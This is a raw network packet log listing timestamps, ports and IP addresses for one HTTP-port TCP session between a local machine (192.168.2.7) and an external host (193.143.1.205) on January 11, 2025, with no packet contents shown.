Jan 11, 2025 03:02:41.230138063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.230150938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.230164051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.230176926 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.230190992 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.230204105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.230216980 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.230218887 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.230235100 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.230249882 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.230254889 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.230263948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.230276108 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.230279922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.230295897 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.230329037 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.230364084 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.231149912 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.231163979 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.231177092 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.231190920 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.231205940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.231220007 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.231231928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.231232882 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.231246948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.231261969 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.231276035 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.231278896 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.231291056 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.231300116 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.231306076 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.231331110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.231343031 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.231363058 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.231973886 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.231988907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.232032061 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.256860018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.256879091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.256892920 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.256978989 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.256990910 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257004976 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257015944 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257030964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257096052 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.257328033 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257340908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257353067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257369041 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257369995 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.257424116 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.257457018 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.257615089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257627010 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257641077 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257683992 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.257870913 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257883072 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257894993 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257908106 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257921934 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.257925034 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257942915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257955074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.257967949 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.258003950 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.312355042 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.312400103 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.312412977 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.312505960 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.312517881 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.312529087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.312544107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.312551975 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.312592030 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.312800884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.312814951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.312849045 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.312952042 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.312963009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.312994957 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.313092947 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.313106060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.313117981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.313127995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.313138962 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.313157082 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.313304901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.313354015 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.313373089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.313385963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.313399076 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.313440084 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.313643932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.313698053 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.313772917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.313785076 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.313796043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.313807964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.313819885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.313827038 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.313832998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.313852072 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.313911915 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.314287901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314301968 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314315081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314327955 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314336061 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.314343929 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314388037 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.314619064 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314631939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314673901 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.314747095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314760923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314773083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314785004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314798117 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.314799070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314812899 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314826965 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314834118 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.314841032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314852953 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.314855099 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.314893007 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.314969063 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.315701962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.315717936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.315723896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.315730095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.315736055 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.315742970 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.315748930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.315754890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.315761089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.315768003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.315773964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.315887928 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.316639900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.316654921 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.316667080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.316679955 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.316689014 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.316690922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.316699028 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.316704988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.316711903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.316716909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.316723108 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.316723108 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.316728115 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.316735029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.316788912 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.317581892 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.317595959 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.317609072 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.317621946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.317631960 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.317634106 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.317646980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.317658901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.317673922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.317678928 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.317686081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.317699909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.317715883 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.317719936 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.317729950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.317743063 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.317775011 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.318458080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.318470955 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.318478107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.318485022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.318495989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.318504095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.318509102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.318535089 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.318600893 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.348782063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.348798990 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.348932028 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.563843966 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.563908100 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.591226101 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.591348886 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.596334934 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.596376896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.596436024 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.596462965 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.596476078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.596518993 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.596596956 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.596610069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.596623898 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.596638918 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.596668959 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.596745968 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.597002983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597018003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597029924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597043037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597054958 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597055912 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.597069979 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597085953 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597091913 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.597112894 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.597601891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597615004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597626925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597640991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597650051 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.597652912 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597666979 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597678900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597687006 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.597693920 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597708941 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597719908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597734928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.597758055 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.597791910 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.598552942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.598568916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.598582029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.598594904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.598608971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.598613977 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.598623037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.598634958 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.598647118 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.598660946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.598665953 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.598676920 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.598689079 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.598735094 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.599384069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.599397898 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.599411011 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.599422932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.599433899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.599437952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.599452019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.599464893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.599468946 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.599477053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.599490881 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.599498987 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.599503994 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.599518061 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.599520922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.599539995 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.600320101 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.600334883 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.600347996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.600361109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.600373983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.600373983 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.600387096 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.600393057 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.600399017 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.600399971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.600413084 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.600424051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.600440025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.600445986 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.600471973 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.601229906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.601246119 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.601258993 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.601274014 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.601286888 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.601290941 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.601300955 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.601309061 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.601314068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.601325989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.601340055 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.601352930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.601363897 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.601367950 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.601401091 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.602155924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.602171898 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.602185011 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.602196932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.602204084 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.602210999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.602222919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.602236032 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.602236986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.602250099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.602262974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.602272987 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.602277040 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.602291107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.602305889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.602322102 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.602355003 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.603076935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603091955 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603105068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603117943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603121042 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.603131056 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603143930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603153944 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.603157043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603168964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603180885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603193998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603194952 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.603209019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603219032 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.603266954 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.603869915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603885889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603899956 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603914022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603925943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603931904 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.603940964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603952885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603966951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603970051 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.603979111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603991985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.603996038 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.604003906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604016066 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604017973 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.604028940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604042053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604051113 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.604067087 CET	49700	80	192.168.2.7	193.143.1.205
